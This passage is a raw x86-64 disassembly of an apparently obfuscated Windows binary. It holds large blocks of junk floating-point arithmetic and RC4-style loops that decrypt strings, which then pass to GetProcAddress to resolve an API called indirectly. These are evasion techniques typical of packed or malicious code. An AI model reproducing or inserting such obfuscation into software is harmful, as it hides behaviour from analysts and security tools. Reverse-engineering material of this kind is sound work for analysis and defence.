mov qword [rsp + 0x250], r8
movabs r8, 0x40ab560000000000
mov qword [rsp + 0x210], r8
movsd xmm0, qword [rsp + 0x210]
addsd xmm0, qword [rsp + 0x140]
movsd qword [rsp + 0x140], xmm0
movsd xmm0, qword [rsp + 0x210]
addsd xmm0, qword [rsp + 0x250]
movsd qword [rsp + 0x250], xmm0
movsd xmm0, qword [rsp + 0x210]
movsd xmm1, qword [rsp + 0x140]
mulsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
movsd xmm0, qword [rsp + 0x210]
addsd xmm0, qword [rsp + 0x250]
movsd qword [rsp + 0x250], xmm0
movsd xmm0, qword [rsp + 0x210]
addsd xmm0, qword [rsp + 0x230]
movsd qword [rsp + 0x230], xmm0
movsd xmm0, qword [rsp + 0x210]
movsd xmm1, qword [rsp + 0x280]
subsd xmm1, xmm0
movsd qword [rsp + 0x280], xmm1
movsd xmm0, qword [rsp + 0x210]
addsd xmm0, qword [rsp + 0x230]
movsd qword [rsp + 0x230], xmm0
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x210]
ucomisd xmm0, xmm1
jbe 0x1400ef682
movsd xmm0, qword [rsp + 0x230]
addsd xmm0, qword [rsp + 0x280]
movsd qword [rsp + 0x280], xmm0
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x1d0]
subsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x210]
subsd xmm1, xmm0
movsd qword [rsp + 0x210], xmm1
movsd xmm0, qword [rsp + 0x210]
addsd xmm0, qword [rsp + 0x250]
movsd qword [rsp + 0x250], xmm0
movsd xmm0, qword [rsp + 0x1d0]
addsd xmm0, qword [rsp + 0x1f0]
movsd qword [rsp + 0x1f0], xmm0
movsd xmm0, qword [rsp + 0x1f0]
addsd xmm0, qword [rsp + 0x230]
movsd qword [rsp + 0x230], xmm0
movsd xmm0, qword [rsp + 0x1f0]
movsd xmm1, qword [rsp + 0x230]
mulsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
jmp 0x1400ef753
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x1f0]
divsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
movsd xmm0, qword [rsp + 0x210]
movsd xmm1, qword [rsp + 0x250]
subsd xmm1, xmm0
movsd qword [rsp + 0x250], xmm1
movsd xmm0, qword [rsp + 0x1f0]
movsd xmm1, qword [rsp + 0x230]
mulsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x230]
addsd xmm0, qword [rsp + 0x280]
movsd qword [rsp + 0x280], xmm0
movsd xmm0, qword [rsp + 0x280]
movsd xmm1, qword [rsp + 0x140]
divsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
movsd xmm0, qword [rsp + 0x1f0]
movsd xmm1, qword [rsp + 0x230]
divsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x280]
addsd xmm0, qword [rsp + 0x140]
movsd qword [rsp + 0x140], xmm0
movzx r8d, byte [rsp + r11 + 0x2b0]
lea esi, [rdi + 1]
mov qword [rsp + 0x98], rdi
add cl, byte [rsp + rdi + 0x2b0]
movzx edi, cl
movzx ebp, byte [rsp + rdi + 0x2b0]
mov byte [rsp + r11 + 0x2b0], bpl
movzx ebp, byte [rsp + r10 + 0x2b0]
mov byte [rsp + rdi + 0x2b0], bpl
movzx esi, sil
movzx ebp, byte [rsp + rsi + 0x2b0]
mov byte [rsp + r10 + 0x2b0], bpl
mov byte [rsp + rsi + 0x2b0], r8b
movzx r11d, byte [rsp + r11 + 0x2b0]
add r11b, byte [rsp + r10 + 0x2b0]
add dl, byte [rsp + r8 + 0x2b0]
movzx r10d, dl
add r11b, byte [rsp + r10 + 0x2b0]
movzx r10d, r11b
movzx r10d, byte [rsp + r10 + 0x2b0]
movzx r11d, byte [rsp + rdi + 0x2b0]
add r11b, r8b
movzx r8d, r11b
mov r11d, eax
shl r11d, 4
add r9d, 0xa5
or r9d, r11d
movzx r11d, byte [rsp + r10 + 0x2b0]
xor r11b, r9b
xor r11b, byte [rsp + r8 + 0x2b0]
xor r14d, r14d
mov esi, 2
lea r10, [fcn.14049ec89]
xor r12d, r12d
jmp 0x1400ef9bb
movsd xmm0, qword [rsp + 0x140]
addsd xmm0, qword [rsp + 0x250]
movsd qword [rsp + 0x250], xmm0
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x140]
mulsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x250]
mulsd xmm1, xmm0
movsd qword [rsp + 0x250], xmm1
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x1d0]
subsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
movsd xmm0, qword [rsp + 0x1d0]
addsd xmm0, qword [rsp + 0x1f0]
movsd qword [rsp + 0x1f0], xmm0
mov r8d, eax
mov rbx, qword [rsp + 0x98]
lea r13, [r14 + rbx]
inc r13
add edi, 0xa5
mov eax, r8d
shl r8d, 4
or r8d, edi
movzx r9d, r9b
movzx edi, byte [rsp + r9 + 0x2b0]
lea ebp, [rbx + r14]
add ebp, 2
movzx r13d, r13b
add cl, byte [rsp + r13 + 0x2b0]
movzx r13d, cl
movzx ebx, byte [rsp + r13 + 0x2b0]
mov byte [rsp + r9 + 0x2b0], bl
movzx ebx, r11b
movzx r11d, byte [rsp + rbx + 0x2b0]
mov byte [rsp + r13 + 0x2b0], r11b
movzx r11d, bpl
movzx ebp, byte [rsp + r11 + 0x2b0]
mov byte [rsp + rbx + 0x2b0], bpl
mov byte [rsp + r11 + 0x2b0], dil
add dl, byte [rsp + rdi + 0x2b0]
movzx r11d, byte [rsp + r13 + 0x2b0]
add r11b, dil
movzx r11d, r11b
movzx r11d, byte [rsp + r11 + 0x2b0]
movzx r9d, byte [rsp + r9 + 0x2b0]
add r9b, byte [rsp + rbx + 0x2b0]
movzx ebx, dl
add r9b, byte [rsp + rbx + 0x2b0]
movzx r9d, r9b
movzx r9d, byte [rsp + r9 + 0x2b0]
xor r11b, byte [rsp + r9 + 0x2b0]
xor r11b, r8b
mov byte [rsp + r14 + 0x280], r11b
add esi, 2
mov r14, r15
mov r9d, r8d
cmp r15, 0xd
je 0x1400effa0
movabs r8, 0x40dcfbc000000000
mov qword [rsp + 0x140], r8
movabs r8, 0x40d7300000000000
mov qword [rsp + 0x230], r8
movabs r8, 0x40d1644000000000
mov qword [rsp + 0x1f0], r8
movabs r8, 0x40c7310000000000
mov qword [rsp + 0x1d0], r8
movabs r8, 0x40b7330000000000
mov qword [rsp + 0x250], r8
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x1d0]
mulsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x230]
mulsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x230]
subsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x140]
mulsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x140]
mulsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x250]
ucomisd xmm0, xmm1
jbe 0x1400efb70
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x1f0]
mulsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x1d0]
subsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x1f0]
mulsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x250]
mulsd xmm1, xmm0
movsd qword [rsp + 0x250], xmm1
movsd xmm0, qword [rsp + 0x1f0]
addsd xmm0, qword [rsp + 0x230]
movsd qword [rsp + 0x230], xmm0
mov r12d, esi
jmp 0x1400efde9
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x1d0]
subsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
movsd xmm0, qword [rsp + 0x140]
addsd xmm0, qword [rsp + 0x250]
movsd qword [rsp + 0x250], xmm0
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x1d0]
subsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x1f0]
mulsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x1d0]
mulsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x230]
subsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x230]
mulsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x230]
divsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x1d0]
divsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
movsd xmm0, qword [rsp + 0x1d0]
addsd xmm0, qword [rsp + 0x230]
movsd qword [rsp + 0x230], xmm0
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x140]
ucomisd xmm1, xmm0
jbe 0x1400efd52
movsd xmm0, qword [rsp + 0x1d0]
addsd xmm0, qword [rsp + 0x230]
movsd qword [rsp + 0x230], xmm0
movsd xmm0, qword [rsp + 0x1f0]
movsd xmm1, qword [rsp + 0x140]
mulsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
movsd xmm0, qword [rsp + 0x140]
addsd xmm0, qword [rsp + 0x1d0]
movsd qword [rsp + 0x1d0], xmm0
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x230]
subsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x1f0]
divsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
jmp 0x1400efde9
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x1d0]
divsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x250]
divsd xmm1, xmm0
movsd qword [rsp + 0x250], xmm1
movsd xmm0, qword [rsp + 0x1f0]
movsd xmm1, qword [rsp + 0x140]
mulsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x1d0]
divsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
movsd xmm0, qword [rsp + 0x140]
addsd xmm0, qword [rsp + 0x1d0]
movsd qword [rsp + 0x1d0], xmm0
lea r15, [r14 + 1]
movsxd r8, r12d
movzx r8d, byte [r8 + r10]
movzx edi, byte [r10 + r14*2 + 3]
movabs rbx, 0x40d6d88000000000
mov qword [rsp + 0x140], rbx
movabs rbx, 0x40d2470000000000
mov qword [rsp + 0x230], rbx
movabs rbx, 0x40cb6b0000000000
mov qword [rsp + 0x1f0], rbx
movabs rbx, 0x40c2480000000000
mov qword [rsp + 0x1d0], rbx
movabs rbx, 0x40b24a0000000000
mov qword [rsp + 0x250], rbx
movsd xmm0, qword [rsp + 0x250]
addsd xmm0, qword [rsp + 0x1f0]
movsd qword [rsp + 0x1f0], xmm0
movsd xmm0, qword [rsp + 0x250]
addsd xmm0, qword [rsp + 0x1f0]
movsd qword [rsp + 0x1f0], xmm0
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x140]
subsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x1d0]
subsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x230]
mulsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x1d0]
ucomisd xmm0, xmm1
jbe 0x1400ef830
movsd xmm0, qword [rsp + 0x1d0]
addsd xmm0, qword [rsp + 0x230]
movsd qword [rsp + 0x230], xmm0
add r8d, 0xffffff86
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x1f0]
subsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x1f0]
subsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
movsd xmm0, qword [rsp + 0x230]
addsd xmm0, qword [rsp + 0x250]
movsd qword [rsp + 0x250], xmm0
movsd xmm0, qword [rsp + 0x1f0]
movsd xmm1, qword [rsp + 0x140]
subsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
jmp 0x1400ef8c6
mov rax, qword [rsp + 0x98]
add rax, r15
xor r9d, r9d
nop
add cl, dil
movzx esi, r8b
movzx r8d, byte [r10 + r9*2 + 0x1c]
movzx edi, byte [rsp + rsi + 0x2b0]
movzx ebx, cl
movzx ebp, byte [rsp + rbx + 0x2b0]
mov byte [rsp + rsi + 0x2b0], bpl
movzx r14d, r11b
movzx r11d, byte [rsp + r14 + 0x2b0]
mov byte [rsp + rbx + 0x2b0], r11b
lea r11d, [rax + r9 + 2]
movzx r11d, r11b
movzx ebp, byte [rsp + r11 + 0x2b0]
mov byte [rsp + r14 + 0x2b0], bpl
movzx ebp, byte [r10 + r9*2 + 0x1d]
add bpl, 0xa5
shl r8b, 4
add r8b, 0x60
mov byte [rsp + r11 + 0x2b0], dil
add dl, byte [rsp + rdi + 0x2b0]
or r8b, bpl
movzx r11d, byte [rsp + rbx + 0x2b0]
add r11b, dil
movzx r11d, r11b
movzx r11d, byte [rsp + r11 + 0x2b0]
movzx ebx, byte [rsp + rsi + 0x2b0]
add bl, byte [rsp + r14 + 0x2b0]
movzx esi, dl
add bl, byte [rsp + rsi + 0x2b0]
movzx esi, bl
movzx esi, byte [rsp + rsi + 0x2b0]
xor r11b, byte [rsp + rsi + 0x2b0]
xor r11b, r8b
mov byte [rsp + r9 + 0x28d], r11b
inc r9
cmp r9, 0xe
jne 0x1400effb0
mov byte [rsp + 0x29a], 0
lea rsi, [rsp + 0xe0]
lea rdi, [rsp + 0xf0]
lea rdx, [rsp + 0x280]
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsp + 0x138]
xorpd xmm0, xmm0
movupd xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x48], 0
lea rcx, [rsp + 0xd8]
lea rdx, [rsp + 0x120]
lea r8, [rsp + 0x110]
lea r9, [rsp + 0x100]
call rax
mov ebp, eax
mov qword [rsp + 0x190], 0
mov qword [rsp + 0x160], 0
mov qword [rsp + 0x190], 0
mov qword [rsp + 0x160], 0
mov qword [rsp + 0x160], 0
movsd xmm1, qword [rsp + 0x160]
movsd xmm0, qword [0x1404d92c0]
ucomisd xmm0, xmm1
jbe 0x1400f0270
movabs rax, 0x8000000000000000
movapd xmm1, xmmword [0x1404d92d0]
movapd xmm2, xmmword [0x1404d92e0]
movsd xmm3, qword [0x1404d92f0]
movsd xmm4, qword [0x1404d92f8]
movsd xmm5, qword [0x1404d7b00]
jmp 0x1400f01b9
movsd xmm6, qword [rsp + 0x160]
addsd xmm6, xmm5
movsd qword [rsp + 0x160], xmm6
movsd xmm6, qword [rsp + 0x160]
ucomisd xmm0, xmm6
jbe 0x1400f0270
movsd xmm6, qword [rsp + 0x160]
movsd xmm7, qword [rsp + 0x160]
mov rcx, qword [rsp + 0x160]
xor rcx, rax
movq xmm8, rcx
movsd xmm9, qword [rsp + 0x160]
mulsd xmm9, xmm8
shufpd xmm9, xmm2, 2
movsd xmm8, qword [rsp + 0x160]
unpcklpd xmm6, xmm8
movsd xmm8, qword [rsp + 0x160]
unpcklpd xmm7, xmm8
mulpd xmm6, xmm1
mulpd xmm6, xmm7
addpd xmm6, xmm9
movapd xmm7, xmm6
unpckhpd xmm7, xmm6
divsd xmm6, xmm7
addsd xmm6, qword [rsp + 0x190]
movsd qword [rsp + 0x190], xmm6
movsd xmm6, qword [rsp + 0x190]
ucomisd xmm6, xmm3
jbe 0x1400f0190
movsd xmm6, qword [rsp + 0x160]
mulsd xmm6, xmm4
addsd xmm6, qword [rsp + 0x190]
movsd qword [rsp + 0x190], xmm6
jmp 0x1400f0190
movsd xmm0, qword [rsp + 0x190]
xorpd xmm1, xmm1
ucomisd xmm1, xmm0
jbe 0x1400f0292
call fcn.14049ecd7
call fcn.14049ed11
jmp 0x1400f1f1d
movaps xmm0, xmmword [0x1404d7900]
movaps xmmword [rsp + 0x2b0], xmm0
movaps xmm0, xmmword [0x1404d7910]
movaps xmmword [rsp + 0x2c0], xmm0
movaps xmm0, xmmword [0x1404d7920]
movaps xmmword [rsp + 0x2d0], xmm0
movaps xmm0, xmmword [0x1404d7930]
movaps xmmword [rsp + 0x2e0], xmm0
movaps xmm0, xmmword [0x1404d7940]
movaps xmmword [rsp + 0x2f0], xmm0
movaps xmm0, xmmword [0x1404d7950]
movaps xmmword [rsp + 0x300], xmm0
movaps xmm0, xmmword [0x1404d7960]
movaps xmmword [rsp + 0x310], xmm0
movaps xmm0, xmmword [0x1404d7970]
movaps xmmword [rsp + 0x320], xmm0
movaps xmm0, xmmword [0x1404d7980]
movaps xmmword [rsp + 0x330], xmm0
movaps xmm0, xmmword [0x1404d7990]
movaps xmmword [rsp + 0x340], xmm0
movaps xmm0, xmmword [0x1404d79a0]
movaps xmmword [rsp + 0x350], xmm0
movaps xmm0, xmmword [0x1404d79b0]
movaps xmmword [rsp + 0x360], xmm0
movaps xmm0, xmmword [0x1404d79c0]
movaps xmmword [rsp + 0x370], xmm0
movaps xmm0, xmmword [0x1404d79d0]
movaps xmmword [rsp + 0x380], xmm0
movaps xmm0, xmmword [0x1404d79e0]
movaps xmmword [rsp + 0x390], xmm0
movapd xmm0, xmmword [0x1404d79f0]
movapd xmmword [rsp + 0x3a0], xmm0
xor ecx, ecx
mov r8d, 0xff
lea r9, [fcn.14049ed11]
lea r10, [0x1401042d0]
xor esi, esi
xor r11d, r11d
jmp 0x1400f03b9
dec r8
je 0x1400f0505
mov edx, 1
cmp r8, 2
jb 0x1400f03d9
mov edx, 1
nop dword [rax]
add edx, edx
inc edx
cmp r8, rdx
ja 0x1400f03d0
mov edi, ntohs
nop
cmp r11d, 3
ja case.default.0x1400f03f0
mov eax, r11d
movsxd rax, dword [r10 + rax*4]
add rax, r10
jmp rax
movzx esi, sil
movsd xmm0, qword [rsp + 0x190]
cvttsd2si rax, xmm0
jmp 0x1400f0480
movzx esi, sil
lea eax, [r11 - 4]
movzx eax, byte [rax + r9]
jmp 0x1400f0480
movsd xmm0, qword [rsp + 0x190]
cvttsd2si rax, xmm0
movzx esi, sil
shr eax, 8
jmp 0x1400f0480
movsd xmm0, qword [rsp + 0x190]
cvttsd2si rax, xmm0
movzx esi, sil
shr eax, 0x10
jmp 0x1400f0480
movsd xmm0, qword [rsp + 0x190]
cvttsd2si rax, xmm0
movzx esi, sil
shr eax, 0x18
nop word cs:[rax + rax]
add al, byte [rsp + rsi + 0x2b0]
inc r11d
lea esi, [rax + 0x15]
cmp r11d, 0x15
cmovae r11d, ecx
movzx eax, al
movzx esi, sil
cmovb esi, eax
mov eax, esi
and eax, edx
movzx eax, al
dec edi
je 0x1400f04c0
mov ebx, eax
cmp r8, rbx
jb 0x1400f03e0
jmp 0x1400f04c7
xor edx, edx
div r8d
mov eax, edx
mov eax, eax
cmp r8, rax
je 0x1400f03b0
movzx edx, byte [rsp + r8 + 0x2b0]
xor dl, byte [rsp + rax + 0x2b0]
mov byte [rsp + r8 + 0x2b0], dl
xor dl, byte [rsp + rax + 0x2b0]
mov byte [rsp + rax + 0x2b0], dl
xor byte [rsp + r8 + 0x2b0], dl
jmp 0x1400f03b0
movzx eax, byte [rsp + 0x2b1]
movzx r9d, byte [rsp + 0x2b3]
movzx ecx, byte [rsp + 0x2b5]
movzx edx, byte [rsp + 0x2b7]
movzx r8d, sil
movzx r8d, byte [rsp + r8 + 0x2b0]
movabs r10, 0x40de024000000000
mov qword [rsp + 0x140], r10
movabs r10, 0x40d8020000000000
mov qword [rsp + 0x230], r10
movabs r10, 0x40d201c000000000
mov qword [rsp + 0x1f0], r10
movabs r10, 0x40c8030000000000
mov qword [rsp + 0x1d0], r10
movabs r10, 0x40b8050000000000
mov qword [rsp + 0x250], r10
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x230]
mulsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x1f0]
mulsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
movsd xmm0, qword [rsp + 0x250]
addsd xmm0, qword [rsp + 0x1d0]
movsd qword [rsp + 0x1d0], xmm0
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x230]
subsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x1d0]
mulsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x250]
ucomisd xmm1, xmm0
jbe 0x1400f081e
movsd xmm0, qword [rsp + 0x230]
addsd xmm0, qword [rsp + 0x140]
movsd qword [rsp + 0x140], xmm0
movsd xmm0, qword [rsp + 0x230]
addsd xmm0, qword [rsp + 0x140]
movsd qword [rsp + 0x140], xmm0
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x140]
mulsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x1f0]
mulsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
movsd xmm0, qword [rsp + 0x230]
addsd xmm0, qword [rsp + 0x140]
movsd qword [rsp + 0x140], xmm0
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x1d0]
mulsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x1d0]
subsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x1d0]
divsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
movsd xmm0, qword [rsp + 0x1f0]
movsd xmm1, qword [rsp + 0x140]
mulsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x1f0]
divsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x140]
ucomisd xmm1, xmm0
jbe 0x1400f08b2
movsd xmm0, qword [rsp + 0x1f0]
movsd xmm1, qword [rsp + 0x140]
mulsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x230]
subsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x1d0]
addsd xmm0, qword [rsp + 0x230]
movsd qword [rsp + 0x230], xmm0
movsd xmm0, qword [rsp + 0x1d0]
addsd xmm0, qword [rsp + 0x230]
movsd qword [rsp + 0x230], xmm0
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x250]
mulsd xmm1, xmm0
movsd qword [rsp + 0x250], xmm1
jmp 0x1400f0949
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x1d0]
subsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
movsd xmm0, qword [rsp + 0x250]
addsd xmm0, qword [rsp + 0x1d0]
movsd qword [rsp + 0x1d0], xmm0
movsd xmm0, qword [rsp + 0x140]
addsd xmm0, qword [rsp + 0x250]
movsd qword [rsp + 0x250], xmm0
movsd xmm0, qword [rsp + 0x1d0]
addsd xmm0, qword [rsp + 0x1f0]
movsd qword [rsp + 0x1f0], xmm0
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x1f0]
mulsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
jmp 0x1400f0949
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x230]
divsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x250]
subsd xmm1, xmm0
movsd qword [rsp + 0x250], xmm1
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x250]
subsd xmm1, xmm0
movsd qword [rsp + 0x250], xmm1
movsd xmm0, qword [rsp + 0x230]
addsd xmm0, qword [rsp + 0x250]
movsd qword [rsp + 0x250], xmm0
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x230]
mulsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
mov dword [rsp + 0x140], 0x46b76600
mov dword [rsp + 0x230], 0x4698d600
mov dword [rsp + 0x1f0], 0x46748c00
mov dword [rsp + 0x1d0], 0x46376c00
mov dword [rsp + 0x250], 0x45f49800
mov dword [rsp + 0x210], 0x4574b000
movss xmm0, dword [rsp + 0x210]
movss xmm1, dword [rsp + 0x230]
mulss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x210]
movss xmm1, dword [rsp + 0x1f0]
subss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x210]
movss xmm1, dword [rsp + 0x1f0]
subss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x210]
addss xmm0, dword [rsp + 0x250]
movss dword [rsp + 0x250], xmm0
movss xmm0, dword [rsp + 0x210]
movss xmm1, dword [rsp + 0x250]
mulss xmm1, xmm0
movss dword [rsp + 0x250], xmm1
movss xmm0, dword [rsp + 0x210]
movss xmm1, dword [rsp + 0x250]
mulss xmm1, xmm0
movss dword [rsp + 0x250], xmm1
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x210]
ucomiss xmm0, xmm1
jbe 0x1400f0b13
movss xmm0, dword [rsp + 0x210]
addss xmm0, dword [rsp + 0x1d0]
movss dword [rsp + 0x1d0], xmm0
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x230]
subss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x1f0]
subss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x210]
movss xmm1, dword [rsp + 0x1d0]
mulss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x250]
subss xmm1, xmm0
movss dword [rsp + 0x250], xmm1
movss xmm0, dword [rsp + 0x1d0]
addss xmm0, dword [rsp + 0x230]
movss dword [rsp + 0x230], xmm0
jmp 0x1400f0e03
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x210]
subss xmm1, xmm0
movss dword [rsp + 0x210], xmm1
movss xmm0, dword [rsp + 0x250]
addss xmm0, dword [rsp + 0x1f0]
movss dword [rsp + 0x1f0], xmm0
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x210]
subss xmm1, xmm0
movss dword [rsp + 0x210], xmm1
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x250]
mulss xmm1, xmm0
movss dword [rsp + 0x250], xmm1
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x140]
subss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x250]
mulss xmm1, xmm0
movss dword [rsp + 0x250], xmm1
movss xmm0, dword [rsp + 0x140]
addss xmm0, dword [rsp + 0x250]
movss dword [rsp + 0x250], xmm0
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x210]
mulss xmm1, xmm0
movss dword [rsp + 0x210], xmm1
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x210]
subss xmm1, xmm0
movss dword [rsp + 0x210], xmm1
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x140]
